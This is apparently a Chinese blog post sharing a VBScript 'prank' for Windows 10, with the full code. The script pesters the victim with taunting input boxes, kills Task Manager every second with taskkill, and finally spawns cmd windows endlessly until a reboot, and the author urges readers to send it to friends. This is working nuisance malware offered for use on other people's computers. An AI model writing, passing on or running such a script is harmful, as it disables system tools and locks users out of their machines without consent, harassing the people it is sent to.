VBS整蛊小程序：禁用任务管理

现在很多人都想和朋友好好地“玩”。

于是我就编了一个小东西（WIN10）。但不怎么熟悉vbs，

所以多线程部分引用了网上的。

-----------------------------以下是代码---------------------------

int b=0
RunAs "sub1"
RunAs "sub2"
Sub sub1
do
if b>3 then
dim a
a=InputBox("叫爸爸")
if a="爸爸"then
Msgbox"儿子真乖!",0,"为父很欣慰！"
else
b=b+1
if b>6 then
Msgbox"最后给你一次机会！",0,"叫不叫？"
if b>7 then
do
set she=createobject("wscript.shell")
she.run "cmd.exe /c color",1,true
wscript.sleep 400
loop
end if
else
Msgbox"调皮，不叫爸爸还想跑? ",0,"再给你一次机会!"
end if
end if 
else
dim g
g=InputBox("猜数字1~20")  '压根不可能猜对，因为程序就没这内容（滑稽
b=b+1
if b=3 then
Msgbox"最后一次机会！",0,"加油！"
else
if b=4 then
Msgbox"惩罚：叫爸爸",0,"你失败了"
else
Msgbox"猜错了哦",0,"再来一次"
end if
end if
end if
loop
End Sub
Sub sub2()
do   '循环判断（是否打开任务管理器）如果是，将其关闭
set ws=createobject("wscript.shell")
aim=ws.appactivate("任务管理器")
if aim then
ws.run "taskkill /f /im Taskmgr.exe",0
end if
wscript.sleep 1000
loop
End Sub
Sub RunAs(Byval e)
Dim txt,match,path,file,myname
myname=WScript.ScriptName
With CreateObject("Scripting.FileSystemObject")
path=.GetSpecialFolder(2)&"\"&e&myname
txt=.OpenTextFile(myname).ReadAll
With New RegExp
.Pattern="sub\s+"&e&"(?:\(\s*\))?([\s\S]+?)end\s+sub"
.IgnoreCase=True
Set match=.Execute(txt)(0)
End With
.OpenTextFile(path,2,1).Write match.SubMatches(0)
CreateObject("WScript.Shell").Run path
End With
End Sub

复制后，除非有360（360会阻止它关闭任务管理器），自己最好别打开（除非你想重启）

最后它会反复开关cmd的窗口，且打不开任务管理器

快发给你朋友吧！祝你们友谊长久！

多线程的原文https://zhidao.baidu.com/question/348082353.html